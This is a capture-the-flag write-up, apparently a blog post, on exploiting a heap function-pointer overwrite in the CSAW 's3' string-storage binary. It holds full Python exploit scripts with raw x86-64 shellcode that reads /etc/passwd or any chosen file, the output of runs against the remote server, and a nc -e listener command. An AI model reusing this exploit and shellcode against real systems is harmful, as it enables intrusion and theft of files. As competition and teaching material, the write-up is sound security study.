A while ago, we threw together a semi-official VulnHub CTF team. This team participated in the CSAW CTF. For me, it was a new and humbling experience. I didn’t get a lot of flags but I managed to get this one.
Upon downloading the binary called s3
, I connected to the remote server to quickly see what I was up against.
$ nc 54.165.225.121 5333
However, the connection timed out very quickly. I checked out the local copy with file:
$ file s3
s3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xe99ee53d6922baffcd3cecd9e6b333f7538d0633, stripped
Interesting, a 64 bit binary. Viewing it in hopper
suggested that it is a C++ binary. I started the binary locally and faced the same quick time-out. This didn’t sit well with me, because I could hardly enter the second command to play around.
I fired up gdb-peda
and ran the binary. It quickly showed the problem:
gdb-peda$ r
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Welcome to Amazon S3 (String Storage Service)
c <type> <string> - Create the string <string> as <type>
Types are:
0 - NULL-Terminated String
1 - Counted String
r <id> - Read the string referenced by <id>
u <id> <string> - Update the string referenced by <id> to <string>
d <id> - Destroy the string referenced by <id>
x - Exit Amazon S3
>
Program received signal SIGALRM, Alarm clock.
Turns out this SIGALRM is generated by a call to alarm(). In hindsight, I could have made a library that overrides the call to alarm()
, but I went with the hex-editing approach. I disassembled the binary using objdump
and used grep
to search the output for “alarm”:
$ objdump -d s3 | grep alarm
0000000000401300 <alarm@plt>:
402126: e8 d5 f1 ff ff callq 401300 <alarm@plt>
403771: e8 8a db ff ff callq 401300 <alarm@plt>
Using xxd
, objdump
and sed
, I replaced those bytes with NOPs and reversed the process with xxd -r
, generating a new binary in the process that was devoid of annoying timeouts!
The binary allows the storage of two types of strings: NULL-terminated and so-called “counted” strings. I assume these are like the strings used in Pascal, where the length of the string is prepended to the string. I created a NULL-terminated string and the binary gave me an identifier. I updated the string and was given another, very similar identifier. I read the string, deleted it and tried to read it again. The program happily told me there was no such string identifier and called it a day. I did notice that the string identifiers are in fact hex-addresses and examining these locations in gdb confirmed it.
Next, the obvious target was the “counted” string. I created a string “bleh”, updated it to “blehbleh” and tried to read from it… segfault! Awesome, we have a lead.
Time to fire up gdb
again and try to reproduce the crash:
It looks like the updated string somehow overwrites a function pointer. This pointer is used here:
=> 0x4019d6: call QWORD PTR [rax+0x10]
Obviously, 0x42424242-0x10
holds nothing interesting. However, we have overwritten a function pointer with a value that we control so in principle, we can hijack EIP
and execute arbitrary code! The drawback is that the pointer is derefenced, so in order to execute any shellcode, we need to do the following:
We store shellcode somewhere, we store a pointer to the shellcode and finally, we overwrite the function pointer with a pointer to the pointer to the shellcode… confusing, eh? I went bit by bit, using the string storing service to store stuff. The string identifiers turned out to be memory addresses:
I got tired of copying and pasting the string identifiers so I switched over to python. In order to emulate the server, I put the binary behind a nc listener:
$ while [[ 1 ]]; do nc -e ./s3 -v -l -p 5333; done
Notice that I’m using s3
again, as this will automagically restart without the need for a clean shutdown (in case the script needs debugging). I enabled coredumps with ulimit -c unlimited
and started scripting and debugging, a lot.
#!/usr/bin/python
from socket import *
import time, re, struct
def getID(data):
match = re.search(r'(\d.*)$', data.strip())<
if match:
return int(match.group(1))
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost', 5333))
# banner
print s.recv(1024)
# send first string. this will be our shellcode
s.send('c 0 CTF!\n')
data = s.recv(64)
s.recv(2) # receive pesky '> '
p_shellcode = getID(data)
print '[+] first location = 0x{0:08x}'.format(p_shellcode)
# send second string. this will be our 'pivot' pointer.
# let's crash the binary to see if this works
s.send("c 1\n")
data = s.recv(64)
s.recv(2) # receive pesky '> '
p_tmp = getID(data)
s.send('u ' + str(p_tmp) + ' AAAA\n')
data = s.recv(64)
p_pivot = getID(data)
print '[+] second location = 0x{0:08x}'.format(p_pivot)
# send read request to crash binary
s.send('r ' + str(p_pivot) + '\n')
data = s.recv(64)
s.recv(2) # receive pesky '> '
# terminate connection cleanly
time.sleep(0.1)
s.send('x\n')
s.close()
After running this (and careful debugging of the script) I got a coredump:
$ python ./amaz.py
Welcome to Amazon S3 (String Storage Service)
c <type> <string> - Create the string <string> as <type>
Types are:
0 - NULL-Terminated String
1 - Counted String
r <id> - Read the string referenced by <id>
u <id> <string> - Update the string referenced by <id> to <string>
d <id> - Destroy the string referenced by <id>
x - Exit Amazon S3
[+] first location = 0x00b10030
[+] second location = 0x00b10050
bas@tritonal:~/documents/s3 writeup$ gdb ./s3 core
...snip...
gdb-peda$ i r
rax 0x41414141 0x41414141
Good, we have control over rax
. Now let’s use this to dereference the pointer to the first string:
s.send('u ' + str(p_tmp) + ' ' + struct.pack('>L', p_shellcode-0x10) + '\n')
Which obviously still crashes, because now the binary executes:
#0 0x0000000021465443 in ?? ()
Which obviously contains no data, nor any code. But let’s give it a proper pointer, shall we? And while I’m at it, I’ll set the shellcode to INT3
. The stack is executable, so this should work!
#!/usr/bin/python
from socket import *
import time, re, struct
def getID(data):
match = re.search(r'(\d.*)$', data.strip())
if match:
return int(match.group(1))
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost', 5333))
# banner
print s.recv(1024)
# send first string. this will be our shellcode
s.send('c 0 \xCC\xCC\xCC\xCC\n')
data = s.recv(64)
s.recv(2) # receive pesky '> '
p_shellcode = getID(data)
print '[+] shellcode = 0x{0:08x}'.format(p_shellcode)
# send second string. this will be our 'pivot' pointer.
s.send('c 0 ' + struct.pack('<L', p_shellcode) + '\n')
data = s.recv(64)
s.recv(2) # receive pesky '> '
p_pivot = getID(data)
print '[+] pivot = 0x{0:08x}'.format(p_pivot)
# let's crash the binary to see if this works
s.send("c 1\n")
data = s.recv(64)
s.recv(2) # receive pesky '> '
p_tmp = getID(data)
s.send('u ' + str(p_tmp) + ' ' + struct.pack('<L', p_pivot-0x10) + '\n')
data = s.recv(64)
s.recv(2) # receive pesky '> '
p_vuln = getID(data)
print '[+] vulnerable pointer = 0x{0:08x}'.format(p_vuln)
# send read request to crash binary
s.send('r ' + str(p_vuln) + '\n')
data = s.recv(64)
s.recv(2) # receive pesky '> '
# terminate connection cleanly
time.sleep(0.1)
s.send('x\n')
s.close()
In the other terminal, I observed:
connect to [127.0.0.1] from localhost [127.0.0.1] 53500
Trace/breakpoint trap (core dumped)
listening on [any] 5333 ...
BOOM! Code execution on my local machine!
At this point I wasted some time to cook up a small shellcode that would re-use existing code in the binary, to verify that the stack was indeed executable in the remote binary. It was, whoop-dee-doo! Next I searched for a proper shellcode and stumbled upon this one.
I stuck it in the exploit and lo and behold:
#!/usr/bin/python
from socket import *
import time, re, struct
def getID(data):
match = re.search(r'(\d.*)$', data.strip())
if match:
return int(match.group(1))
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost', 5333))
# banner
print s.recv(1024)
# send first string. this will be our shellcode
s.send('c 0 \xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41\n')
data = s.recv(64)
s.recv(2) # receive pesky '> '
p_shellcode = getID(data)
print '[+] shellcode = 0x{0:08x}'.format(p_shellcode)
# send second string. this will be our 'pivot' pointer.
s.send('c 0 ' + struct.pack('<L', p_shellcode) + '\n')
data = s.recv(64)
s.recv(2) # receive pesky '> '
p_pivot = getID(data)
print '[+] pivot = 0x{0:08x}'.format(p_pivot)
# let's crash the binary to see if this works
s.send("c 1\n")
data = s.recv(64)
s.recv(2) # receive pesky '> '
p_tmp = getID(data)
s.send('u ' + str(p_tmp) + ' ' + struct.pack('<L', p_pivot-0x10) + '\n')
data = s.recv(64)
s.recv(2) # receive pesky '> '
p_vuln = getID(data)
print '[+] vulnerable pointer = 0x{0:08x}'.format(p_vuln)
# send read request to crash binary
s.send('r ' + str(p_vuln) + '\n')
print s.recv(1000)
# terminate connection cleanly
time.sleep(0.1)
s.send('x\n')
s.close()
[+] shellcode = 0x01355030
[+] pivot = 0x01355030
[+] vulnerable pointer = 0x013552b0
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
...snip...
This also worked against the remote server! It showed me that there was a user called amazon
with home directory /home/amazon
. I adapted the exploit a bit to make it read arbitrary files. The instruction that needs adjusting is this one:
; NULL byte fix
xor byte [rdi + 11], 0x41
We need to update the value 11, or 0x0b
. The exploit code was modified once more, spraying time.sleep()
calls here and there:
#!/usr/bin/python
from socket import *
import time, re, struct, sys
def getID(data):
match = re.search(r'(\d.*)', data.strip())
if match:
return int(match.group(1))
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost', 5333))
# banner
s.recv(1024)
length = len(sys.argv[1])
filename = sys.argv[1].strip()
# send first string. this will be our shellcode
s.send('c 0 \xeb\x3f\x5f\x80\x77'+struct.pack('<b', length)+'\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff'+filename+'A\n')
time.sleep(0.1)
#s.recv(2) # receive pesky '> '
data = s.recv(64)
p_shellcode = getID(data)
print '[+] shellcode = 0x{0:08x}'.format(p_shellcode)
# send second string. this will be our 'pivot' pointer.
s.send('c 0 ' + struct.pack('<L', p_shellcode) + '\n')
time.sleep(0.1)
data = s.recv(64)
p_pivot = getID(data)
print '[+] pivot = 0x{0:08x}'.format(p_pivot)
# let's crash the binary to see if this works
s.send("c 1\n")
time.sleep(0.1)
data = s.recv(64)
p_tmp = getID(data)
s.send('u ' + str(p_tmp) + ' ' + struct.pack('<L', p_pivot-0x10) + '\n')
time.sleep(0.1)
data = s.recv(64)
p_vuln = getID(data)
print '[+] vulnerable pointer = 0x{0:08x}'.format(p_vuln)
# send read request to crash binary
s.send('r ' + str(p_vuln) + '\n')
time.sleep(0.1)
print s.recv(1024)
# terminate connection cleanly
time.sleep(0.1)
s.send('x\n')
s.close()
(Note: this exploit fails if the address contains a NULL byte, a space or a zero, as these truncate data. During the CTF, I experienced no problems).
Now it was a matter of getting the flag. I tried /home/amazon/key
, which returned nothing. Next was /home/amazon/flag
and that was a bingo :)